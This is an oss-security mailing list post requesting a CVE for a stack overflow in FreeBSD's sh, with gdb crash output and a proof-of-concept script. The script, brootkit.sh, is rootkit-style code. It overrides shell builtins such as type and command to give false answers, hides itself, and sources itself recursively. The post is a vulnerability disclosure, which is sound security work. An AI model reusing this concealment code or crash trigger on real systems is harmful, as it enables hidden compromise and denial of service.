|
|
Message-ID: <CAEQi4beSswmoiqOsGHDH8U6rqWDXtyNgHnMmKrYsh+PhZ9PxMw@mail.gmail.com>
Date: Tue, 31 Mar 2015 18:42:01 +0800
From: wzt wzt <wzt.wzt@...il.com>
To: oss-security@...ts.openwall.com
Subject: CVE request: freebsd/sh stack overflow vulnerability
hi:
I found sh have a stack overflow bug on freebsd(9.0-10.0), it may be
triggered on all freebsd systems, but i have not tested yet. the poc below
is tested on freebsd10.0 amd64 arch:
$ ls
brootkit.sh
$ . brootkit.sh
$ command
$ ls
brootkit.sh sh.core
(gdb) x/16x $rsp+0x1b8
0x7fffdfffeff8: Cannot access memory at address 0x7fffdfffeff8
(gdb) x/16x $rsp+0x1c0
0x7fffdffff000: 0x0000000000000000 0x0000000000000000
0x7fffdffff010: 0x0000000000000000 0x0000000000000000
0x7fffdffff020: 0x0000000000000000 0x0000000000000000
0x7fffdffff030: 0x0000000000000000 0x0000000000000000
0x7fffdffff040: 0x0000000000000000 0x0000000000000000
0x7fffdffff050: 0x0000000000000000 0x0000000000000000
0x7fffdffff060: 0x0000000000000000 0x0000000000000000
0x7fffdffff070: 0x0000000000000000 0x0000000000000000
(gdb) disass malloc malloc+32
Dump of assembler code from 0x800d593f0 to 0x800d59410:
0x0000000800d593f0 <malloc+0>: push %rbp
0x0000000800d593f1 <malloc+1>: mov %rsp,%rbp
0x0000000800d593f4 <malloc+4>: push %r15
0x0000000800d593f6 <malloc+6>: push %r14
0x0000000800d593f8 <malloc+8>: push %r13
0x0000000800d593fa <malloc+10>: push %r12
0x0000000800d593fc <malloc+12>: push %rbx
0x0000000800d593fd <malloc+13>: sub $0x488,%rsp
0x0000000800d59404 <malloc+20>: mov %rdi,-0x4a0(%rbp)
0x0000000800d5940b <malloc+27>: mov 0x2c2dbe(%rip),%rax #
0x80101c1d0 <__nsdefaultsrc+4928>
set $i=0
set $addr=$rbp
while ($i <= 1000)
printf "frame[%d] 0x%lx ==> 0x%lx retaddr: 0x%lx\t diass: ", $i, $addr,
*(long *)$addr, *(long *)($addr+8)
x/i *(long *)($addr+8)
set $i=$i+1
set $addr=*(long *)$addr
end
frame[98] 0x7fffe0004c00 ==> 0x7fffe0004d60 retaddr: 0x406465 diass:
0x406465 <execve@...+14073>: incq 0x21d694(%rip) # 0x623b00
<environ+64>
frame[99] 0x7fffe0004d60 ==> 0x7fffe0004e10 retaddr: 0x40513b diass:
0x40513b <execve@...+9167>: mov -0x74(%rbp),%r14d
frame[100] 0x7fffe0004e10 ==> 0x7fffe0004ec0 retaddr: 0x405118 diass:
0x405118 <execve@...+9132>: cmpl $0x0,0x21e9f5(%rip) #
0x623b14 <environ+84>
poc:
#!/bin/sh
BR_ROOTKIT_PATH="."
builtin()
{
local fake_a
unset command
case $1 in
"set"|"unset"|"command"|"type")
fake_a="$(command builtin $1 $2)"
br_hide_engine "$fake_a"
reset_command
return ;;
"builtin")
echo "sh: builtin: builtin: syntax error, sh is not
support."
reset_command
return ;;
*)
command builtin $1 $2
reset_command
;;
esac
}
type()
{
case $1 in
"builtin"|"set"|"unset"|"type")
echo "$1 is a shell builtin"
return ;;
"dir")
echo "dir is /usr/bin/dir"
return ;;
"ls")
echo "ls is aliased to ls --color=tty"
return ;;
"ps")
echo "ps is /bin/ps"
return ;;
"netstat")
echo "netstat is hashed (/usr/bin/netstat)"
return ;;
"/bin/ls"|"/usr/bin/dir"|"/bin/ps"|"/usr/bin/netstat")
echo "$1 is $1"
return ;;
*)
unset command
command type $1 $2
reset_command
return ;;
esac
}
fake_unset()
{
case $1 in
"builtin"|"command"|"set"|"unset"|"type")
echo "sh: syntax error, sh is not support."
return ;;
*)
unset $1 $2
return ;;
esac
}
fake_command()
{
case $1 in
"builtin"|"command"|"set"|"unset"|"type")
echo "sh: syntax error, sh is not support."
return ;;
*)
unset command
command $1 $2
reset_command
return ;;
esac
}
command()
{
case $1 in
"builtin")
builtin $2 $3
return ;;
"unset")
fake_unset $2 $3
. $BR_ROOTKIT_PATH/brootkit.sh
return ;;
"type")
type $2 $3
return ;;
"command")
fake_command $2 $3
return ;;
*)
unset command
command $2 $3
. $BR_ROOTKIT_PATH/brootkit.sh
return ;;
esac
}
reset_command()
{
command()
{
case $1 in
"builtin")
builtin $2 $3
return ;;
"set")
set $2 $3
return ;;
"unset")
fake_unset $2 $3
. $BR_ROOTKIT_PATH/brootkit.sh
return ;;
"type")
type $2 $3
return ;;
"command")
fake_command $2 $3
return ;;
*)
unset command
command $2 $3
. $BR_ROOTKIT_PATH/brootkit.sh
return ;;
esac
}
}
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.